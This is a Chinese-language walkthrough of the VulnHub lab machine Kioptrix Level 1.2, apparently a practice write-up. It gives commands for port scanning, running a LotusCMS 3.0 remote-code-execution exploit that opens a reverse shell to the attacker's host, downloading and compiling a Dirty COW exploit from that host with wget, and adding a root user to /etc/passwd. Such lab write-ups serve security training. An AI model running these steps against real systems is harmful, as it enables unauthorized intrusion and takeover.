【vulnhub】Kioptrix : Level 1.2

信息收集

使用nmap发现靶机IP

进行端口扫描，发现开放22、80端口

nmap -A 192.168.93.151 -p 1-65535

进行网址访问IP

点击login，进入登陆页面，发现该网站cms为：LotusCMS

进行目录扫描

拼接/modules/ ，存在目录遍历

拼接/phpmyadmin

使用searchsploit搜索LotusCMS的历史漏洞，发现该CMS版本为3.0时存在命令执行漏洞

searchsploit LotusCMS

漏洞利用

使用了一个python版本的exp：GitHub - nguyen-ngo/LotusCMS-3.0-RCE-exploit

github里面搜索LotusCMS-3.0-RCE-exploit，下载并解压到kali

构造payload，反弹shell

python3 lotuscms.py -rh 192.168.93.151 -rp 80 -lh 192.168.93.130

192.168.93.151是靶机的ip

192.168.93.130是kali的ip

监听444端口，因为从下载的文件说明中可知，监听端口必须是444

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

提权

使用命令uname -a查看靶机的内核版本信息为：Linux Kioptrix3 2.6.24-24-server

使用命令cat /etc/*-release查看靶机的发行版本信息为：Ubuntu 8.04.3 LTS

使用searchsploit查找符合内核版本和发行版本的历史漏洞，漏洞很多

直接使用经典的脏牛漏洞

将exp下载下来，使用web服务上传到靶机，编译执行，在/etc/passwd文件写入一个具有root权限的用户

searchsploit -m 文件名字进行下载

挂到服务上面，进行远程下载

主机：
python3 -m http.server

靶机：
cd /tmp
wget http://192.168.93.130/40839.c
gcc -pthread 40839.c -o 40839 -lcrypt

运行这个编译过后的文件，设置密码123456，会自动生成一个用户，跳转到这个用户

查看/etc/passwd，发现这个用户已经再里面了

进行跳转到这个用户